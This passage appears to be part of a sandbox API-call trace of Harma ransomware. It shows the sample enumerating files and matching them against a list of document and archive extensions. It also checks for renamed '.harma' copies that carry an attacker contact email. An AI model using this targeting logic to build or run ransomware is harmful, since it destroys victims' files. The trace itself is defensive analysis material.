(lpString1=".pdf", lpString2=".dat") returned 1 [0049.091] lstrlenW (lpString=".xls") returned 4 [0049.091] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0049.091] lstrlenW (lpString=".xlsx") returned 5 [0049.091] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0049.091] lstrlenW (lpString=".ppt") returned 4 [0049.091] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0049.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.091] lstrlenW (lpString=".zip") returned 4 [0049.091] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0049.091] lstrlenW (lpString=".rar") returned 4 [0049.091] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0049.091] lstrlenW (lpString=".bz2") returned 4 [0049.091] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0049.091] lstrlenW (lpString=".7z") returned 3 [0049.092] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0049.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.092] lstrlenW (lpString=".dbf") returned 4 [0049.092] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0049.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.092] lstrlenW (lpString=".1cd") returned 4 [0049.092] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0049.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.092] lstrlenW (lpString=".jpg") returned 4 [0049.092] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0049.092] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0049.092] lstrlenW (lpString="ipsesp.xml") returned 10 [0049.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.092] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=3024) returned 1 [0049.092] CloseHandle (hObject=0x1e0) returned 1 [0049.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0049.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.093] lstrlenW (lpString=".doc") returned 4 [0049.093] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.093] lstrlenW (lpString=".docx") returned 5 [0049.093] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0049.093] lstrlenW (lpString=".pdf") returned 4 [0049.093] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.093] lstrlenW (lpString=".xls") returned 4 [0049.093] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.093] lstrlenW (lpString=".xlsx") returned 5 [0049.093] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0049.093] lstrlenW (lpString=".ppt") returned 4 [0049.093] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.093] lstrlenW (lpString=".zip") returned 4 [0049.093] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.093] lstrlenW (lpString=".rar") returned 4 [0049.093] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.093] lstrlenW (lpString=".bz2") returned 4 [0049.093] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.093] lstrlenW (lpString=".7z") returned 3 [0049.093] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.094] lstrlenW (lpString=".dbf") returned 4 [0049.094] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.094] lstrlenW (lpString=".1cd") returned 4 [0049.094] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.094] lstrlenW (lpString=".jpg") returned 4 [0049.094] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.094] lstrlenW (lpString=".doc") returned 4 [0049.094] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.094] lstrlenW (lpString=".docx") returned 5 [0049.094] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0049.094] lstrlenW (lpString=".pdf") returned 4 [0049.094] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.094] lstrlenW (lpString=".xls") returned 4 [0049.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.094] lstrlenW (lpString=".xlsx") returned 5 [0049.094] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0049.094] lstrlenW (lpString=".ppt") returned 4 [0049.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.094] lstrlenW (lpString=".zip") returned 4 [0049.094] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.094] lstrlenW (lpString=".rar") returned 4 [0049.094] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.094] lstrlenW (lpString=".bz2") returned 4 [0049.094] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.095] lstrlenW (lpString=".7z") returned 3 [0049.095] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.095] lstrlenW (lpString=".dbf") returned 4 [0049.095] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.095] lstrlenW (lpString=".1cd") returned 4 [0049.095] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0049.095] lstrlenW (lpString=".jpg") returned 4 [0049.095] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.095] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0049.095] lstrlenW (lpString="ipsfin.xml") returned 10 [0049.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.095] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2658) returned 1 [0049.095] CloseHandle (hObject=0x1e0) returned 1 [0049.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0049.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.096] lstrlenW (lpString=".doc") returned 4 [0049.096] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.096] lstrlenW (lpString=".docx") returned 5 [0049.096] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0049.096] lstrlenW (lpString=".pdf") returned 4 [0049.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.096] lstrlenW (lpString=".xls") returned 4 [0049.096] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.096] lstrlenW (lpString=".xlsx") returned 5 [0049.096] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0049.096] lstrlenW (lpString=".ppt") returned 4 [0049.096] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.096] lstrlenW (lpString=".zip") returned 4 [0049.097] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.097] lstrlenW (lpString=".rar") returned 4 [0049.097] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.097] lstrlenW (lpString=".bz2") returned 4 [0049.097] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.097] lstrlenW (lpString=".7z") returned 3 [0049.097] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.097] lstrlenW (lpString=".dbf") returned 4 [0049.097] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.097] lstrlenW (lpString=".1cd") returned 4 [0049.097] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.097] lstrlenW (lpString=".jpg") returned 4 [0049.097] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.097] lstrlenW (lpString=".doc") returned 4 [0049.097] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.097] lstrlenW (lpString=".docx") returned 5 [0049.097] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0049.097] lstrlenW (lpString=".pdf") returned 4 [0049.097] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.098] lstrlenW (lpString=".xls") returned 4 [0049.098] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.098] lstrlenW (lpString=".xlsx") returned 5 [0049.098] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0049.098] lstrlenW (lpString=".ppt") returned 4 [0049.098] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.098] lstrlenW (lpString=".zip") returned 4 [0049.098] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.098] lstrlenW (lpString=".rar") returned 4 [0049.098] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.098] lstrlenW (lpString=".bz2") returned 4 [0049.098] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.098] lstrlenW (lpString=".7z") returned 3 [0049.098] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.098] lstrlenW (lpString=".dbf") returned 4 [0049.098] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.098] lstrlenW (lpString=".1cd") returned 4 [0049.098] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0049.098] lstrlenW (lpString=".jpg") returned 4 [0049.098] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.098] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0049.099] lstrlenW (lpString="ipsfra.xml") returned 10 [0049.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.100] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2628) returned 1 [0049.100] CloseHandle (hObject=0x1e0) returned 1 [0049.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0049.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.100] lstrlenW (lpString=".doc") returned 4 [0049.100] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.100] lstrlenW (lpString=".docx") returned 5 [0049.100] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0049.100] lstrlenW (lpString=".pdf") returned 4 [0049.100] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.100] lstrlenW (lpString=".xls") returned 4 [0049.100] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.100] lstrlenW (lpString=".xlsx") returned 5 [0049.100] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0049.100] lstrlenW (lpString=".ppt") returned 4 [0049.100] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.100] lstrlenW (lpString=".zip") returned 4 [0049.100] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.101] lstrlenW (lpString=".rar") returned 4 [0049.101] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString=".bz2") returned 4 [0049.101] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString=".7z") returned 3 [0049.101] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.101] lstrlenW (lpString=".dbf") returned 4 [0049.101] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.101] lstrlenW (lpString=".1cd") returned 4 [0049.101] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.101] lstrlenW (lpString=".jpg") returned 4 [0049.101] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.101] lstrlenW (lpString=".doc") returned 4 [0049.101] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString=".docx") returned 5 [0049.101] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0049.101] lstrlenW (lpString=".pdf") returned 4 [0049.101] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString=".xls") returned 4 [0049.101] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString=".xlsx") returned 5 [0049.101] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0049.101] lstrlenW (lpString=".ppt") returned 4 [0049.101] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.102] lstrlenW (lpString=".zip") returned 4 [0049.102] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.102] lstrlenW (lpString=".rar") returned 4 [0049.102] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.102] lstrlenW (lpString=".bz2") returned 4 [0049.102] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.102] lstrlenW (lpString=".7z") returned 3 [0049.102] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.102] lstrlenW (lpString=".dbf") returned 4 [0049.102] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.102] lstrlenW (lpString=".1cd") returned 4 [0049.102] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0049.102] lstrlenW (lpString=".jpg") returned 4 [0049.102] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.102] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0049.102] lstrlenW (lpString="ipshrv.xml") returned 10 [0049.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.103] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2652) returned 1 [0049.103] CloseHandle (hObject=0x1e0) returned 1 [0049.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0049.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.103] lstrlenW (lpString=".doc") returned 4 [0049.103] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.103] lstrlenW (lpString=".docx") returned 5 [0049.103] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0049.103] lstrlenW (lpString=".pdf") returned 4 [0049.103] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.103] lstrlenW (lpString=".xls") returned 4 [0049.103] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.103] lstrlenW (lpString=".xlsx") returned 5 [0049.103] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0049.103] lstrlenW (lpString=".ppt") returned 4 [0049.103] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.103] lstrlenW (lpString=".zip") returned 4 [0049.103] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.103] lstrlenW (lpString=".rar") returned 4 [0049.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.104] lstrlenW (lpString=".bz2") returned 4 [0049.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.104] lstrlenW (lpString=".7z") returned 3 [0049.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.104] lstrlenW (lpString=".dbf") returned 4 [0049.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.104] lstrlenW (lpString=".1cd") returned 4 [0049.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.104] lstrlenW (lpString=".jpg") returned 4 [0049.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.104] lstrlenW (lpString=".doc") returned 4 [0049.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.104] lstrlenW (lpString=".docx") returned 5 [0049.104] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0049.104] lstrlenW (lpString=".pdf") returned 4 [0049.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.104] lstrlenW (lpString=".xls") returned 4 [0049.104] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.104] lstrlenW (lpString=".xlsx") returned 5 [0049.105] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0049.105] lstrlenW (lpString=".ppt") returned 4 [0049.105] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.105] lstrlenW (lpString=".zip") returned 4 [0049.105] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.105] lstrlenW (lpString=".rar") returned 4 [0049.105] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.105] lstrlenW (lpString=".bz2") returned 4 [0049.105] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.105] lstrlenW (lpString=".7z") returned 3 [0049.105] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.105] lstrlenW (lpString=".dbf") returned 4 [0049.105] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.105] lstrlenW (lpString=".1cd") returned 4 [0049.105] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0049.105] lstrlenW (lpString=".jpg") returned 4 [0049.105] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.105] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0049.105] lstrlenW (lpString="ipsita.xml") returned 10 [0049.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.106] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2526) returned 1 [0049.106] CloseHandle (hObject=0x1e0) returned 1 [0049.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0049.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0049.106] lstrlenW (lpString=".doc") returned 4 [0049.106] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.106] lstrlenW (lpString=".docx") returned 5 [0049.106] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0049.106] lstrlenW (lpString=".pdf") returned 4 